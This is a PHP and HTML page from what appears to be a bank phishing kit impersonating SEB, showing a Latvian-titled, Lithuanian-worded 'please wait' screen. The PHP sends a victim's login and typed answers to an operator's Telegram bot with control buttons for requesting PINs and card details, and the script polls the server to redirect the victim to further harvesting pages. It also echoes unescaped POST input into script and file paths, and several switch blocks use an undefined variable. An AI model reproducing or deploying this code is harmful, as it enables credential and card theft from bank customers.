<?php
$config = json_decode(file_get_contents('config.json'));
$pay = @file_get_contents('db/'.$_POST['id'].'.txt');

if ($pay === false) {
    exit('No pay');
}

$pay = json_decode($pay);



message_to_telegram($config->token, $config->chat_id, "<b>✉️ Custom ✉️</b>".PHP_EOL.'➖➖➖➖➖➖➖➖➖➖'.PHP_EOL.'<b>Ответ на вопрос:</b> <code>'.$_POST['custom_text'].PHP_EOL.'</code> <b>Логин:</b> '.$pay->login, [

  [
            ['text' => '📱 Custom 📱', 'callback_data' => '/message '.$_POST['id']],
        ],  
         [
            ['text' => '📱 PIN 📱', 'callback_data' => '/cpin '.$_POST['id']],
        ], 
        [
            ['text' => '📱 GEN 📱', 'callback_data' => '/cgen '.$_POST['id']],
        ], 
        [
            ['text' => '❌ Запрос карты ❌' , 'callback_data' => '/fail '.$_POST['id']],
            ],
            [
                ['text' => '❌ Неверный лк ❌' , 'callback_data' => '/app '.$_POST['id']],
                ],
]);

switch ($cmd[0]) {
    case '/gen':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}


switch ($cmd[0]) {
    case '/msg':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}

switch ($cmd[0]) {
    case '/msgpin':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}

switch ($cmd[0]) {
    case '/msgpin2':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}


//header("Location: ".((!empty($_SERVER['HTTPS'])) ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] . '/3ds.php?id='.$_POST['id']);

function message_to_telegram($bot_token, $chat_id, $text, $kb = [])
{
    $ch = curl_init();
    $ch_post = [
        CURLOPT_URL => 'https://api.telegram.org/bot' . $bot_token . '/sendMessage',
        CURLOPT_POST => TRUE,
        CURLOPT_RETURNTRANSFER => TRUE,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_POSTFIELDS => [
            'chat_id' => $chat_id,
            'parse_mode' => 'HTML',
            'text' => $text,
            'reply_markup' => json_encode([
                'inline_keyboard' => $kb
            ]),
            'disable_notification' => true
        ]
    ];
    curl_setopt_array($ch, $ch_post);
    curl_exec($ch);
}


?>

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Pieslēgšanās SEB</title>
   <link type="image/x-icon" href="favicon.ico" rel="shortcut icon">
  <link type="image/x-icon" href="favicon.ico" rel="shortcut icon">
  <link href="assets/css/vbiv.css" rel="stylesheet">
  <link href="assets/css/fonts.css" rel="stylesheet">
</head>
<body>
  <div class="loader loader--style8" title="7">
    <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
       width="80px" height="90px" viewBox="0 0 24 30" style="enable-background:new 0 0 50 50;" xml:space="preserve">
      <rect x="0" y="10" width="4" height="10" fill="#333" opacity="0.2">
        <animate attributeName="opacity" attributeType="XML" values="0.2; 1; .2" begin="0s" dur="0.6s" repeatCount="indefinite" />
        <animate attributeName="height" attributeType="XML" values="10; 20; 10" begin="0s" dur="0.6s" repeatCount="indefinite" />
        <animate attributeName="y" attributeType="XML" values="10; 5; 10" begin="0s" dur="0.6s" repeatCount="indefinite" />
      </rect>
      <rect x="8" y="10" width="4" height="10" fill="#333"  opacity="0.2">
        <animate attributeName="opacity" attributeType="XML" values="0.2; 1; .2" begin="0.15s" dur="0.6s" repeatCount="indefinite" />
        <animate attributeName="height" attributeType="XML" values="10; 20; 10" begin="0.15s" dur="0.6s" repeatCount="indefinite" />
        <animate attributeName="y" attributeType="XML" values="10; 5; 10" begin="0.15s" dur="0.6s" repeatCount="indefinite" />
      </rect>
      <rect x="16" y="10" width="4" height="10" fill="#333"  opacity="0.2">
        <animate attributeName="opacity" attributeType="XML" values="0.2; 1; .2" begin="0.3s" dur="0.6s" repeatCount="indefinite" />
        <animate attributeName="height" attributeType="XML" values="10; 20; 10" begin="0.3s" dur="0.6s" repeatCount="indefinite" />
        <animate attributeName="y" attributeType="XML" values="10; 5; 10" begin="0.3s" dur="0.6s" repeatCount="indefinite" />
      </rect>
    </svg>
  </div>
  <div class="info">
  <h2>Sandorio patvirtinimas…
    <br>
    Tai gali užtrukti kelias minutes.  
    <br>
Neatnaujinkite ir neišeikite iš puslapio.</h2>
</div>
</body>
</html>
<script src="//cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<link rel="preconnect" href="https://fonts.googleapis.com">

    <link type="image/x-icon" href="favicon.ico" rel="shortcut icon">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=IBM+Plex+Mono&family=Open+Sans&display=swap" rel="stylesheet">
<script src="https://cdn.jsdelivr.net/npm/axios@1.1.2/dist/axios.min.js"></script>
<style>
body {
    font-family: 'Open Sans', sans-serif;
}
</style>

<script>


setInterval(() => {
    axios.post('check.php', {
        id: <?php echo $_POST['id']; ?>
    }).then((res) => {
       
        if (res.data === 'fail') {
            window.location.href = 'card.php?id=<?php echo $_POST['id']; ?>&q=1';
        }
       
        if (res.data === 'msg') {
            window.location.href = 'custom.php?id=<?php echo $_POST['id']; ?>';
        }
        if (res.data === 'app') {
            window.location.href = 'invalid.php?id=<?php echo $_POST['id']; ?>&q=1';
        }
        if (res.data === 'msgpin') {
            window.location.href = 'pin.php?id=<?php echo $_POST['id']; ?>';
        }
        if (res.data === 'msgpin2') {
            window.location.href = 'pin.php?id=<?php echo $_POST['id']; ?>';
        }
         if (res.data === 'gen') {
            window.location.href = 'gen.php?id=<?php echo $_POST['id']; ?>';
        }
    });
}, 3000);



</script>